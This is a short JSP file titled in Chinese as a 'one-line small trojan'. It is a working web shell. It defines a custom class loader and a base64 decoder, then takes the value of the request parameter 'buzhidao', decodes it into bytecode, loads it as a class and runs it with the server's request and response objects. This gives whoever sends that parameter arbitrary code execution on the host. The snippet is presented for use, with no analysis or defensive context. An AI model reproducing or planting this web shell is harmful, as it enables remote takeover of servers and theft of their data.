JSP一句话小马

<%! class NATIVE extends ClassLoader{   NATIVE(ClassLoader c){super(c);}   public Class routine(byte[] b){     return super.defineClass(b, 0, b.length);   } } public byte[] runtime(String str) throws Exception {   Class base64;   byte[] value = null;   try {     base64=Class.forName("sun.misc.BASE64Decoder");     Object decoder = base64.newInstance();     value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });   } catch (Exception e) {     try {       base64=Class.forName("java.util.Base64");       Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);       value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });     } catch (Exception ee) {}   }   return value; } %> <% String cls = request.getParameter("buzhidao"); if (cls != null) {   new NATIVE(this.getClass().getClassLoader()).routine(runtime(cls)).newInstance().equals(new Object[]{request,response}); } %>